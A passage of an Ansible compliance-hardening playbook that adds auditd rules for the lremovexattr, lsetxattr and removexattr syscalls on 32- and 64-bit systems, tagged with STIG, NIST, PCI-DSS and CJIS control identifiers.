    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit lremovexattr tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lremovexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for lremovexattr for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lremovexattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lremovexattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lremovexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for lremovexattr for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lremovexattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lremovexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lremovexattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lremovexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit lsetxattr tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lsetxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for lsetxattr for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lsetxattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lsetxattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lsetxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for lsetxattr for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lsetxattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - lsetxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of lsetxattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_lsetxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit removexattr tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_removexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for removexattr for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - removexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of removexattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - removexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of removexattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
